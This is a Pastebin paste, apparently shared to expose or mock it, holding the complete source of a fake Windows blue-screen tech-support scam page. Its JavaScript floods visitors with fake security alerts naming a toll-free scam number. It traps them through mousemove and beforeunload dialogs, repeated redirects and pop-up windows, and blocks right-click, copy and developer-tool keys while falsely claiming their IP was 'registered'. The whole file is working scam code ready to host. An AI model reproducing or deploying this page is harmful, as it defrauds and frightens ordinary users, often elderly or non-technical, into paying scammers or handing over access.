API tools faq
paste
Advertisement
Guest User

Shitty attempt at phishing 1-855-999-8134

a guest
Oct 6th, 2015
311
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.96 KB | None | 0 0
raw download clone embed print report
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <title>*** Security Error Code 0x80070424</title>
  6. <style type="text/css">
  7. <!--
  8. body {
  9. background-color: #000093;
  10. }
  11. .style1 {
  12. font-family: Arial, Helvetica, sans-serif;
  13. font-weight: bold;
  14. color: #FFFFFF;
  15. font-size: 18px;
  16. }
  17. .style2 {
  18. font-size: 36px;
  19. font-family: "Courier New", Courier, monospace;
  20. }
  21. .style4 {
  22. font-size: 22px;
  23. font-family: "Courier New", Courier, monospace;
  24. }
  25. .style5 {
  26. font-size: 20px;
  27. font-family: "Courier New", Courier, monospace;
  28. }
  29. .style6 {font-family: "Courier New", Courier, monospace}
  30. -->
  31. </style>
  32. <script src="analytics.js" async=""></script><script src="analytics_002.js" async=""></script><script src="jquery_002.js"></script><script src="jquery.js"></script><script>var __adobewebfontsappname__ = "reflow"</script><script>
  33. $(document).mousemove(function(event){
  34.  
  35. var result = confirm("Are you sure you want to leave this page?\n\n*********** System Security At Risk ***********\n\nCritical Security Warning! Windows has detected a serious attack on this system, as your IP Address seems to accessed from two different locations at one time. A Suspicious Connection was trying to access Your Logins, Banking Details & Tracking Your Internet Activity.\n\nPlease contact the Windows Support team immediately at 1-855-999-8134 (TOLL FREE) and provide error code UR97L1DA2TA to scan and resolve the potential threats to your personal and financial information, which seems to be accessed from another computer.\nYour Windows Security Center & Firewall Services are disabled. Your TCP Connection was blocked by your Firewall. Your Accounts may be suspended until you take an action.\n\nConsequently we are performing additional security checks to verify the source of the attack and have halted all your resources in order to prevent any additional damage to your system and information.\n\nPossibility of Data & Identity theft, if not fixed immediately.\n\nPlease call Windows Support Team at 1-855-999-8134 (TOLL FREE) to resolve the issues.\n\n------------------------------------------------------\nCustomer Service: 1-855-999-8134 (TOLL-FREE)\n------------------------------------------------------\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
  36. if ( result )
  37. {
  38. window.location = 'firewallwarning.html';
  39. }
  40. else
  41. {
  42. window.location = 'firewallwarning.html';
  43. }
  44.  
  45. });
  46. </script><script type="text/javascript">
  47. $(document).ready(function(){
  48. alert( ' Are you sure you want to leave this page?\n\n*********** System Security At Risk ***********\n\nCritical Security Warning! Windows has detected a serious attack on this system, as your IP Address seems to accessed from two different locations at one time. A Suspicious Connection was trying to access Your Logins, Banking Details & Tracking Your Internet Activity.\n\nPlease contact the Windows Support team immediately at 1-855-999-8134 (TOLL FREE) and provide error code UR97L1DA2TA to scan and resolve the potential threats to your personal and financial information, which seems to be accessed from another computer.\nYour Windows Security Center & Firewall Services are disabled. Your TCP Connection was blocked by your Firewall. Your Accounts may be suspended until you take an action.\n\nConsequently we are performing additional security checks to verify the source of the attack and have halted all your resources in order to prevent any additional damage to your system and information.\n\nPossibility of Data & Identity theft, if not fixed immediately.\n\nPlease call Windows Support Team at 1-855-999-8134 (TOLL FREE) to resolve the issues.\n\n------------------------------------------------------\nCustomer Service: 1-855-999-8134 (TOLL-FREE)\n------------------------------------------------------\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n');
  49. window.location = 'firewallwarning.html';
  50. //window.location = 'http://localhost:8080/dropbox/Scan-Site/';
  51. });
  52. </script><script>
  53. $(document).ready(function(){
  54. document.onkeydown = function(e) {
  55. if (e.ctrlKey &&
  56. (e.keyCode === 67 ||
  57. e.keyCode === 86 ||
  58. e.keyCode === 85 ||
  59. e.keyCode === 117)) {
  60. alert('Your IP has been Registed while you were trying to Copy Code...!!!');
  61. return false;
  62. }
  63. else if(e.keyCode === 123) {
  64. return false;
  65. } else {
  66. return true;
  67. }};
  68.  
  69.  
  70.  
  71. $(document).bind("contextmenu",function(e){
  72. e.preventDefault();
  73.  
  74. });
  75.  
  76. $('a').on('mousedown', stopNavigate);
  77.  
  78. $('a').on('mouseleave', function () {
  79. $(window).on('beforeunload', function(){
  80.  
  81. return ' Are you sure you want to leave this page?\n\n*********** System Security At Risk ***********\n\nCritical Security Warning! Windows has detected a serious attack on this system, as your IP Address seems to accessed from two different locations at one time. A Suspicious Connection was trying to access Your Logins, Banking Details & Tracking Your Internet Activity.\n\nPlease contact the Windows Support team immediately at 1-855-999-8134 (TOLL FREE) and provide error code UR97L1DA2TA to scan and resolve the potential threats to your personal and financial information, which seems to be accessed from another computer.\nYour Windows Security Center & Firewall Services are disabled. Your TCP Connection was blocked by your Firewall. Your Accounts may be suspended until you take an action.\n\nConsequently we are performing additional security checks to verify the source of the attack and have halted all your resources in order to prevent any additional damage to your system and information.\n\nPossibility of Data & Identity theft, if not fixed immediately.\n\nPlease call Windows Support Team at 1-855-999-8134 (TOLL FREE) to resolve the issues.\n\n------------------------------------------------------\nCustomer Service: 1-855-999-8134 (TOLL-FREE)\n------------------------------------------------------\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n';
  82. window.location = 'firewallwarning.html';
  83. });
  84. });
  85. });
  86.  
  87. function stopNavigate(){
  88. $(window).off('beforeunload');
  89. }
  90. </script><script>
  91. window.onbeforeunload = function ()
  92. {
  93. window.setTimeout(function ()
  94. { // escape function context
  95. window.location = 'firewallwarning.html';
  96. }, 0);
  97. //window.onbeforeunload = null; // necessary to prevent infinite loop
  98. // that kills your browser
  99. window.location = 'firewallwarning.html';
  100.  
  101.  
  102. var win = window.open('firewallwarning.html', '_blank');
  103. win.focus();
  104.  
  105. return 'Are you sure you want to leave this page?\n\n*********** System Security At Risk ***********\n\nCritical Security Warning! Windows has detected a serious attack on this system, as your IP Address seems to accessed from two different locations at one time. A Suspicious Connection was trying to access Your Logins, Banking Details & Tracking Your Internet Activity.\n\nPlease contact the Windows Support team immediately at 1-855-999-8134 (TOLL FREE) and provide error code UR97L1DA2TA to scan and resolve the potential threats to your personal and financial information, which seems to be accessed from another computer.\nYour Windows Security Center & Firewall Services are disabled. Your TCP Connection was blocked by your Firewall. Your Accounts may be suspended until you take an action.\n\nConsequently we are performing additional security checks to verify the source of the attack and have halted all your resources in order to prevent any additional damage to your system and information.\n\nPossibility of Data & Identity theft, if not fixed immediately.\n\nPlease call Windows Support Team at 1-855-999-8134 (TOLL FREE) to resolve the issues.\n\n------------------------------------------------------\nCustomer Service: 1-855-999-8134 (TOLL-FREE)\n------------------------------------------------------\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n';
  106. // pressing leave will still leave, but the GET may be fired first anyway
  107. }
  108. </script><script>
  109.  
  110. $(document).ready(function(){
  111.  
  112. $('a').on('mousedown', stopNavigate);
  113.  
  114. $('a').on('mouseleave', function () {
  115. $(window).on('beforeunload', function(){
  116. return 'firewallwarning.html';
  117. });
  118. });
  119. });
  120.  
  121. function stopNavigate(){
  122. $(window).off('beforeunload');
  123. }
  124.  
  125. </script><script>
  126.  
  127. $(window).on('beforeunload', function(){
  128. return 'Are you sure you want to leave this page?\n\n*********** System Security At Risk ***********\n\nCritical Security Warning! Windows has detected a serious attack on this system, as your IP Address seems to accessed from two different locations at one time. A Suspicious Connection was trying to access Your Logins, Banking Details & Tracking Your Internet Activity.\n\nPlease contact the Windows Support team immediately at 1-855-999-8134 (TOLL FREE) and provide error code UR97L1DA2TA to scan and resolve the potential threats to your personal and financial information, which seems to be accessed from another computer.\nYour Windows Security Center & Firewall Services are disabled. Your TCP Connection was blocked by your Firewall. Your Accounts may be suspended until you take an action.\n\nConsequently we are performing additional security checks to verify the source of the attack and have halted all your resources in order to prevent any additional damage to your system and information.\n\nPossibility of Data & Identity theft, if not fixed immediately.\n\nPlease call Windows Support Team at 1-855-999-8134 (TOLL FREE) to resolve the issues.\n\n------------------------------------------------------\nCustomer Service: 1-855-999-8134 (TOLL-FREE)\n------------------------------------------------------\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n';
  129. });
  130.  
  131. $(window).on('unload', function(){
  132.  
  133. logout();
  134.  
  135. });
  136.  
  137. </script>
  138. </head>
  139.  
  140. <body>
  141. <table width="1000" height="645" border="0" align="center" cellpadding="2" cellspacing="2">
  142. <tbody><tr>
  143. <td height="631" bgcolor="#000093">
  144. <div align="center" class="style1">
  145. <p class="style5">0x000000CE DRIVER_UNLOADED_WITHOUT_CANCELLING_PENDING_OPERATIONS</p>
  146. <p class="style6"> </p>
  147. <p class="style4">YOUR PC HEALTH IS CRITICAL<br>DO NOT RESTART</p>
  148. <p class="style4">PLEASE CONTACT MICROSOFT CERTIFIED TECHNICIANS</p>
  149. <p class="style2">BSOD : Error 333 Registry Failure of Operating System - Host :<br>BLUE SCREEN ERROR 0x000000CE</p>
  150. <p class="style4">Please contact Certified Technicians</p> <font size="+3"> Toll Free Helpline : 1-855-999-8134</font></p>
  151. <p class="style4"><font size="+0.5">Disclaimer: To prevent further security threats and loss of data, it is highly recommended that you do not continue using this computer until you've contacted an official technican. Your personal photos, creditcard information and passwords might have been compromised. </font></p>
  152. </div>
  153. </td>
  154. </tr>
  155. </tbody></table>
  156. <script>
  157. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  158. (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  159. m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  160. })(window,document,'script','//www.google-analytics.com/analytics.js','ga');
  161.  
  162. ga('create', 'UA-68362474-2', 'auto');
  163. ga('send', 'pageview');
  164.  
  165. </script>
  166. </body>
  167. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!